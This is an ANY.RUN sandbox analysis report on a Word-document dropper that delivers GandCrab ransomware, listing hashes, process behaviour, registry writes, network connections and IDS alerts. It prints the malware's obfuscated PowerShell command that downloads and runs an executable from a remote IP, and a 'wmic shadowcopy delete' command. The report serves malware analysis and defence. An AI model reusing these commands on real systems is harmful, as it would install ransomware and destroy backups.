File name:

6d20fce7ff12863ee648eff76a6e77e67bd78fb93fd137456ceb134de4b30be1.bin.gz

Full analysis: https://app.any.run/tasks/c520954d-6133-46ea-ac52-e445712bce4e
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: January 23, 2019, 10:29:48
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
ransomware
gandcrab
Indicators:
MIME: application/gzip
File info: gzip compressed data, max compression, from Unix
MD5:

6EC3DF812B92C85421BFA9049C4D8E10

SHA1:

B36E9573D95E918427B24E3D29EA7D9FD389D5A2

SHA256:

A9D5BBBB5362438DF5944D02FE54DDEDC823A28E6D2B97F30D11D09F9B8DA08D

SSDEEP:

384:hm6mXfJ3sTNCvsVhN9QCgIcQYgCpV1Uok3o3wofYKanob1qL:hm6mXhc58YhNi3zLf1muwofYKWWM

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3332)

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 3332)

    • Application was dropped or rewritten from another process

      • putty.exe (PID: 2372)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 3088)

    • GandCrab keys found

      • putty.exe (PID: 2372)

    • Downloads executable files from IP

      • powershell.exe (PID: 3088)

    • Actions looks like stealing of personal data

      • putty.exe (PID: 2372)

    • Writes file to Word startup folder

      • putty.exe (PID: 2372)

    • Dropped file may contain instructions of ransomware

      • putty.exe (PID: 2372)

    • Changes settings of System certificates

      • putty.exe (PID: 2372)

    • Renames files like Ransomware

      • putty.exe (PID: 2372)

    • Deletes shadow copies

      • putty.exe (PID: 2372)

  • SUSPICIOUS

    • Creates files in the Windows directory

      • powershell.exe (PID: 3088)

    • Creates files in the user directory

      • powershell.exe (PID: 3088)
      • putty.exe (PID: 2372)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3088)

    • Creates files in the program directory

      • putty.exe (PID: 2372)

    • Reads the cookies of Mozilla Firefox

      • putty.exe (PID: 2372)

    • Creates files like Ransomware instruction

      • putty.exe (PID: 2372)

    • Adds / modifies Windows certificates

      • putty.exe (PID: 2372)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3332)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3332)

    • Dropped object may contain TOR URL's

      • putty.exe (PID: 2372)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.z/gz/gzip | GZipped data (100)

EXIF

ZIP

Compression: Deflated
Flags: (none)
ModifyDate: 0000:00:00 00:00:00
ExtraFlags: Maximum Compression
OperatingSystem: Unix
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winrar.exe no specs winword.exe no specs powershell.exe #GANDCRAB putty.exe wmic.exe vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2372"C:\windows\temp\putty.exe" C:\windows\temp\putty.exe
powershell.exe
User:
admin
Company:
Nullsoft, Inc.
Integrity Level:
MEDIUM
Description:
Audience Need Zimmerman
Exit code:
0
Version:
3.1.22.6
Modules
Images
c:\windows\temp\putty.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2464"C:\Windows\system32\wbem\wmic.exe" shadowcopy deleteC:\Windows\system32\wbem\wmic.exe
putty.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
3088powershell $AbR41ULTo = '65532.804050533$xJw0xyfhi = 65532.804050533n65532.804050533e65532.804050533w65532.804050533-obj65532.804050533e65532.804050533c65532.804050533t n65532.804050533e65532.804050533t65532.804050533.w65532.804050533e65532.804050533b65532.804050533cli65532.804050533ent; $xJw0xyfhi.d65532.804050533o65532.804050533w65532.804050533n65532.804050533l65532.804050533o65532.804050533a65532.804050533d65532.804050533f65532.804050533i65532.804050533le(\"65532.804050533h65532.804050533t65532.804050533t65532.804050533p65532.804050533://205.185.117.187/olalala/putty.exe\", \"c:\win65532.804050533dows\t65532.804050533emp\put65532.804050533t65532.804050533y65532.804050533.65532.804050533e65532.804050533x65532.804050533e\"); 65532.804050533s65532.804050533tar65532.804050533t-p65532.804050533r65532.804050533o65532.804050533ces65532.804050533s \"c:\win65532.804050533d65532.804050533o65532.804050533ws\temp\p65532.804050533u65532.804050533t65532.804050533t65532.804050533y.ex65532.804050533e\";'.replace('65532.804050533', $OPQJjrhbU);$uDzjkYGah = '';iex($AbR41ULTo);C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3092"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\6d20fce7ff12863ee648eff76a6e77e67bd78fb93fd137456ceb134de4b30be1.bin.gz.z"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3332"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\6d20fce7ff12863ee648eff76a6e77e67bd78fb93fd137456ceb134de4b30be1.bin.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3352C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssvc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
1 723
Read events
1 197
Write events
519
Delete events
7

Modification events

(PID) Process:(3092) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3092) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3092) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3092) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\6d20fce7ff12863ee648eff76a6e77e67bd78fb93fd137456ceb134de4b30be1.bin.gz.z
(PID) Process:(3092) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3092) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3092) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(3092) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(3332) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:b{1
Value:
627B3100040D0000010000000000000000000000
(PID) Process:(3332) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
Executable files
1
Suspicious files
428
Text files
327
Unknown types
17

Dropped files

PID
Process
Filename
Type
3092WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3092.42394\6d20fce7ff12863ee648eff76a6e77e67bd78fb93fd137456ceb134de4b30be1.bin.gz —
MD5:—
SHA256:—
3332WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRD7E2.tmp.cvr —
MD5:—
SHA256:—
3088powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\310IGADT6HWAIXO3EWHF.temp —
MD5:—
SHA256:—
3332WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
2372putty.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
3088powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF24e242.TMPbinary
MD5:—
SHA256:—
2372putty.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim —
MD5:—
SHA256:—
2372putty.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.xiyshsyga —
MD5:—
SHA256:—
3332WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:—
SHA256:—
3332WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3088
powershell.exe
GET
200
205.185.117.187:80
http://205.185.117.187/olalala/putty.exe
US
executable
641 Kb
suspicious
2372
putty.exe
GET
301
138.201.162.99:80
http://www.kakaocorp.link/
DE
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2372
putty.exe
138.201.162.99:80
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious
3088
powershell.exe
205.185.117.187:80
—
FranTech Solutions
US
suspicious
2372
putty.exe
138.201.162.99:443
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 138.201.162.99
malicious

Threats

PID
Process
Class
Message
3088
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3088
powershell.exe
Potentially Bad Traffic
ET INFO Possibly Suspicious Request for Putty.exe from Non-Standard Download Location
3088
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3088
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3088
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
No debug info
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Reports
6d20fce7ff12863ee648eff76a6e77e67bd78fb93fd137456ceb134de4b30be1.bin.gz